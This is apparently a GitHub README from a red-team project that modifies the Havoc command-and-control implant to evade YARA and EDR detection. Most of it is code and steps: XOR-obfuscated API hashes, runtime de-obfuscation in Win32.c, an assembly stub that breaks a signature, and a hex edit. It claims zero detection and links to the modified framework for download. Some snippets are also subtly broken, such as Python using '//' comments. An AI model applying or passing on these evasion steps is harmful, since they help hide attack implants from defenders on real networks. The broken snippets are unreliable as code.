Skip to content

JimKw1kX/Havoc-C2-Modification-YARA-Free

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

18 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

License: MIT Follow @JimKwik_X

Havoc-C2-Modification-YARA-Free

POC of modifying YARA signautre on Havoc C2.

This project was from a red team engagement where I modified an open-source Command-and-Control (C2) framework to ensure it was YARA-free, enabling safer in-memory execution via a loader and evading detection by common YARA scans used by Endpoint Detection and Response (EDR) systems. I successfully achieved 0% YARA detection. The main steps are as follows:

First when I did a yara scan using a simple python script on a piece of shellcode I got the following YARA signatures:

yara

These hashes are generated by hash_func.py and hardcoded in Define.h. I used the following steps to modify the shellcode source.

1.Modify hash_func.py to generate different hash values that are flagged by YARA rules

import sys

def hash_string( string ):
    try:
        hash = 5381

        for x in string.upper():
            hash = (( hash << 5 ) + hash ) + ord(x)

            hash ^= 0xA5A5A5A5 // we are xoring the hash values with the key 

        return hash & 0xFFFFFFFF
    except:
        pass

def hash_coffapi( string ):
    try:
        hash = 5381

        for x in string:
            hash = (( hash << 5 ) + hash ) + ord(x)

        
            hash ^= 0xA5A5A5A5 // we are xoring the hash values with the key  


        return hash & 0xFFFFFFFF
    except:
        pass

if __name__ in '__main__':
    try:
        print('#define H_FUNC_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_string( sys.argv[ 1 ] ) ));
        print('#define H_COFFAPI_%s 0x%x' % ( sys.argv[ 1 ].upper(), hash_coffapi( sys.argv[ 1 ] ) ));
    except IndexError:
        print('usage: %s [string]' % sys.argv[0]);

2.Replace them in Define.h

define XOR_KEY 0xA5A5A5A5


#define H_FUNC_LDRLOADDLL 0x3be0cfe6
#define H_FUNC_LDRGETPROCEDUREADDRESS 0x5942ce13
#define H_FUNC_NTADDBOOTENTRY 0x295962d3
#define H_FUNC_NTALLOCATEVIRTUALMEMORY 0x52261d49
#define H_FUNC_NTFREEVIRTUALMEMORY 0x8da763ac
#define H_FUNC_NTUNMAPVIEWOFSECTION 0xcf01b768
#define H_FUNC_NTWRITEVIRTUALMEMORY 0x66b2a437
#define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY 0x31cf679c
#define H_FUNC_NTQUERYVIRTUALMEMORY 0xb5654df8
#define H_FUNC_NTOPENPROCESSTOKEN 0x90a86f3c
#define H_FUNC_NTOPENTHREADTOKEN 0x2596e277
  1. Add the XOR logic in Win32.c, the idea is to dynamicly XORing back to the orignal values of the API hash functions during run time, so YARA will not flag the hardcoded values in demon.bin defined in Define.h
#define XOR_KEY 0xA5A5A5A5 // the key we used to xor the hash values


PVOID LdrFunctionAddr(
    IN PVOID Module,
    IN DWORD Hash
) {
    PIMAGE_NT_HEADERS       NtHeader         = { 0 };
    PIMAGE_EXPORT_DIRECTORY ExpDirectory     = { 0 };
    SIZE_T                  ExpDirectorySize = { 0 };
    PDWORD                  AddrOfFunctions  = { 0 };
    PDWORD                  AddrOfNames      = { 0 };
    PWORD                   AddrOfOrdinals   = { 0 };
    PVOID                   FunctionAddr     = { 0 };
    PCHAR                   FunctionName     = { 0 };
    ANSI_STRING             AnsiString       = { 0 };

    if ( ! Module || ! Hash )
        return NULL;

    NtHeader         = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew );
    ExpDirectory     = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
    ExpDirectorySize = U_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size );

    AddrOfNames      = C_PTR( Module + ExpDirectory->AddressOfNames );
    AddrOfFunctions  = C_PTR( Module + ExpDirectory->AddressOfFunctions );
    AddrOfOrdinals   = C_PTR( Module + ExpDirectory->AddressOfNameOrdinals );

    if (IsPredefinedHash(Hash)) {
        Hash ^= XOR_KEY; // use the same key to xor back whenever the demon calls hashes APIs
    }
  1. Modify the Asm.s Assemby and add a dummy functions to break the ROP gadget logic to evade YARA detection
; Define the dummy function
DummyFunction:
        ; Save registers (if needed)
        push    rax
        push    rbx
        push    rcx
        push    rdx

        ; Dummy operations
        nop     ; No operation
        nop     ; No operation
        nop     ; No operation

        ; Restore registers
        pop     rdx
        pop     rcx
        pop     rbx
        pop     rax

        ; Return from the dummy function
    ret

section .text$A
	Start:
        call    DummyFunction     // break the following calling logic    
        push    rsi               // <-----detection starts here
        nop                       
        mov		rsi, rsp
  1. Last step is to manually remove using the Hxd tool to change one hex value

    Step 4 and 5 refer the that blog and the demo below

    Click here to check out demo for manually modifying the hex value

  1. The whole modified havoc is here, you can download and compile your own to make modificatio and YARA check using a simple python script like the following with updated yara rules, you can add pe-sieve and moneta in the script to check addtioanl memory region for the shellcode and modify it accordingly.
import os
import sys
import subprocess


directory = ('C:\\Users\\User\\Downloads\\Mem_Scan\\protections-artifacts-main\\protections-artifacts-main\\yara\\rules')
target = 'C:\\Users\\User\\Desktop\\Payloads\\Products\\double_module_stomp\\PayloadLoader\\x64\\Release\\DllLoader.dll'

for fileanme in os.listdir(directory):
    filepath = os.path.join(directory, fileanme)

    if os.path.isfile(filepath):
        cmd = ['yara64.exe','-s', filepath, target]
        result = subprocess.run(cmd, capture_output=True, text=True)
        if result.stdout:
            with open('yara_loader_result.txt', 'a') as f:
                outout = f'Detected===>!!!\\n{filepath} ====>\n {result.stdout}'
                print(outout)

DEMO

A modified version is in here You can also check out the demo for the final version of the cleaned shellcode YARA scan here

Releases

No releases published

Packages

No packages published